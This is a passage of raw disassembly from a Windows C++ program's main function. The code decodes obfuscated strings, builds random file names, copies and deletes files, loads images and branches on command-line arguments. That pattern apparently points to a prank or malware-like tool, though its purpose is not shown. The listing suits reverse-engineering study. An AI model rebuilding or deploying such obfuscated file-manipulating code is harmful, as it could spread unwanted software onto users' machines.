call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1cb0]
lea rcx, [rbp + 0x1cd0]
lea rdx, [rbp + 0x1cf0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1c60]
lea rcx, [rbp + 0x1c80]
lea rdx, [rbp + 0x1cb0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rdx, [rbp + 0x1c60]
lea rax, [rbp + 0xe0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x1c60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1cb0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1cf0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1d40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1d6f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x1d10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1d3e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x1cd0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1c80]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1cae]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
jmp 0x231953666
lea rax, [rbp + 0x1dbe]
mov qword [rbp + 0x3b20], rax
nop
nop
lea rax, [rbp + 0x1dbf]
mov rcx, rax
call method.main.lambda__72::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__976144014056841147ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x1dbe]
lea rax, [rbp + 0x1d90]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
call sym.rand
mov edx, eax
lea rax, [rbp + 0x1de0]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x1e4e]
mov qword [rbp + 0x3b18], rax
nop
nop
lea rax, [rbp + 0x1e4f]
mov rcx, rax
call method.main.lambda__71::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_11ull__976144014056841147ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x1e4e]
lea rax, [rbp + 0x1e20]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1e7f]
mov qword [rbp + 0x3b10], rax
nop
nop
lea rcx, [rbp + 0x1e7f]
lea rdx, [rbp + 0x540]
lea rax, [rbp + 0x1e50]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1e00]
lea rcx, [rbp + 0x1e20]
lea rdx, [rbp + 0x1e50]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1dc0]
lea rcx, [rbp + 0x1de0]
lea rdx, [rbp + 0x1e00]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1d70]
lea rcx, [rbp + 0x1d90]
lea rdx, [rbp + 0x1dc0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rdx, [rbp + 0x1d70]
lea rax, [rbp + 0xe0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x1d70]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1dc0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1e00]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1e50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1e7f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x1e20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1e4e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x1de0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1d90]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1dbe]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0xe0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rbx, rax
lea rax, [rbp + 0xa0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 0
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
lea rax, [rbp + 0xe0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.f_swp_void_
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov edx, 1
mov ecx, 0x7d0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0xa0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x1eae]
mov qword [rbp + 0x3b08], rax
nop
nop
lea rax, [rbp + 0x1eaf]
mov rcx, rax
call method.main.lambda__73::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__16846833319612893515ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x1eae]
lea rax, [rbp + 0x1e80]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1e80]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x1e80]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1eae]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x1ede]
mov qword [rbp + 0x3b00], rax
nop
nop
lea rax, [rbp + 0x1edf]
mov rcx, rax
call method.main.lambda__75::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__4979091209950715655ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x1ede]
lea rax, [rbp + 0x1eb0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
call sym.rand
mov edx, eax
lea rax, [rbp + 0x1f00]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x1f6e]
mov qword [rbp + 0x3af8], rax
nop
nop
lea rax, [rbp + 0x1f6f]
mov rcx, rax
call method.main.lambda__74::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__4979091209950715655ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x1f6e]
lea rax, [rbp + 0x1f40]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1f9c]
mov qword [rbp + 0x3af0], rax
nop
nop
lea rcx, [rbp + 0x1f9c]
lea rdx, [rbp + 0x870]
lea rax, [rbp + 0x1f70]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1f20]
lea rcx, [rbp + 0x1f40]
lea rdx, [rbp + 0x1f70]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1ee0]
lea rcx, [rbp + 0x1f00]
lea rdx, [rbp + 0x1f20]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0xc0]
lea rcx, [rbp + 0x1eb0]
lea rdx, [rbp + 0x1ee0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1ee0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1f20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1f70]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1f9c]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x1f40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1f6e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x1f00]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1eb0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1ede]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
cmp dword [rbp + 0x3dd0], 0xb
jle 0x231953966
lea rax, [rbp + 0x1f9d]
mov rcx, rax
call method.main.lambda__76::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__4308013942597057485ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 0x58
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231953966
mov eax, 1
jmp 0x23195396b
mov eax, 0
test al, al
je 0x2319539af
lea rax, [rbp + 0x1f9e]
mov rcx, rax
call method.main.lambda__77::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_9ull__14936018504268740501ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x2319544be
lea rax, [rbp + 0xc0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov edx, 0
mov rcx, rax
call sym.f_dc_char_const__int_
test eax, eax
sete al
test al, al
je 0x2319544be
lea rax, [rbp + 0xc0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_LoadImageA]
call rax
mov qword [rbp + 0x3cd0], rax
mov edx, 1
mov ecx, 0x7d0
call sym.f_slpc_unsigned_long__int_
cmp qword [rbp + 0x3cd0], 0
je 0x231953f87
mov rax, qword [rbp + 0x3cd0]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_DeleteObject]
call rax
lea rax, [rbp + 0xe0]
mov rcx, rax
call fcn.231a0fac0
cmp dword [rbp + 0x3dd0], 0xc
jle 0x231953a9e
lea rax, [rbp + 0x1f9f]
mov rcx, rax
call method.main.lambda__78::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__6880912958991866833ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 0x60
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231953a9e
mov eax, 1
jmp 0x231953aa3
mov eax, 0
test al, al
je 0x231953c8a
lea rax, [rbp + 0x1fee]
mov qword [rbp + 0x3ae8], rax
nop
nop
lea rax, [rbp + 0x1fef]
mov rcx, rax
call method.main.lambda__80::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__17430034398031742377ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x1fee]
lea rax, [rbp + 0x1fc0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
call sym.rand
mov edx, eax
lea rax, [rbp + 0x2010]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x207e]
mov qword [rbp + 0x3ae0], rax
nop
nop
lea rax, [rbp + 0x207f]
mov rcx, rax
call method.main.lambda__79::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__17430034398031742377ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x207e]
lea rax, [rbp + 0x2050]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x20af]
mov qword [rbp + 0x3ad8], rax
nop
nop
lea rcx, [rbp + 0x20af]
lea rdx, [rbp + 0x870]
lea rax, [rbp + 0x2080]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2030]
lea rcx, [rbp + 0x2050]
lea rdx, [rbp + 0x2080]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1ff0]
lea rcx, [rbp + 0x2010]
lea rdx, [rbp + 0x2030]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1fa0]
lea rcx, [rbp + 0x1fc0]
lea rdx, [rbp + 0x1ff0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rdx, [rbp + 0x1fa0]
lea rax, [rbp + 0xe0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x1fa0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1ff0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2030]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2080]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x20af]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x2050]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x207e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x2010]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1fc0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1fee]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
jmp 0x231953e65
lea rax, [rbp + 0x20fe]
mov qword [rbp + 0x3ad0], rax
nop
nop
lea rax, [rbp + 0x20ff]
mov rcx, rax
call method.main.lambda__82::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__16666570003146945415ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x20fe]
lea rax, [rbp + 0x20d0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
call sym.rand
mov edx, eax
lea rax, [rbp + 0x2120]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x218e]
mov qword [rbp + 0x3ac8], rax
nop
nop
lea rax, [rbp + 0x218f]
mov rcx, rax
call method.main.lambda__81::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__16666570003146945415ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x218e]
lea rax, [rbp + 0x2160]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x21bf]
mov qword [rbp + 0x3ac0], rax
nop
nop
lea rcx, [rbp + 0x21bf]
lea rdx, [rbp + 0x540]
lea rax, [rbp + 0x2190]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2140]
lea rcx, [rbp + 0x2160]
lea rdx, [rbp + 0x2190]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2100]
lea rcx, [rbp + 0x2120]
lea rdx, [rbp + 0x2140]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x20b0]
lea rcx, [rbp + 0x20d0]
lea rdx, [rbp + 0x2100]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rdx, [rbp + 0x20b0]
lea rax, [rbp + 0xe0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x20b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2100]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2140]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2190]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x21bf]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x2160]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x218e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x2120]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x20d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x20fe]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0xe0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rbx, rax
lea rax, [rbp + 0xc0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 0
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
lea rdx, [rbp + 0xe0]
lea rax, [rbp + 0x21e0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x222d]
mov qword [rbp + 0x3ab8], rax
nop
nop
lea rax, [rbp + 0x222e]
mov rcx, rax
call method.main.lambda__83::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_81ull__15094163793066823561ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x222d]
lea rax, [rbp + 0x2200]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x21c0]
lea rcx, [rbp + 0x21e0]
lea rdx, [rbp + 0x2200]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x21c0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x21c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2200]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x222d]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x21e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x2319544be
lea rax, [rbp + 0xe0]
mov rcx, rax
call fcn.231a0fac0
cmp dword [rbp + 0x3dd0], 0xc
jle 0x231953fda
lea rax, [rbp + 0x222f]
mov rcx, rax
call method.main.lambda__84::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__6436023429673359789ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 0x60
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231953fda
mov eax, 1
jmp 0x231953fdf
mov eax, 0
test al, al
je 0x2319541c6
lea rax, [rbp + 0x227e]
mov qword [rbp + 0x3ab0], rax
nop
nop
lea rax, [rbp + 0x227f]
mov rcx, rax
call method.main.lambda__86::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__8579898237243060061ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x227e]
lea rax, [rbp + 0x2250]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
call sym.rand
mov edx, eax
lea rax, [rbp + 0x22a0]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x230e]
mov qword [rbp + 0x3aa8], rax
nop
nop
lea rax, [rbp + 0x230f]
mov rcx, rax
call method.main.lambda__85::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__8579898237243060061ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x230e]
lea rax, [rbp + 0x22e0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x233f]
mov qword [rbp + 0x3aa0], rax
nop
nop
lea rcx, [rbp + 0x233f]
lea rdx, [rbp + 0x870]
lea rax, [rbp + 0x2310]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x22c0]
lea rcx, [rbp + 0x22e0]
lea rdx, [rbp + 0x2310]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2280]
lea rcx, [rbp + 0x22a0]
lea rdx, [rbp + 0x22c0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2230]
lea rcx, [rbp + 0x2250]
lea rdx, [rbp + 0x2280]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rdx, [rbp + 0x2230]
lea rax, [rbp + 0xe0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x2230]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2280]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x22c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2310]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x233f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x22e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x230e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x22a0]
mov rcx, rax
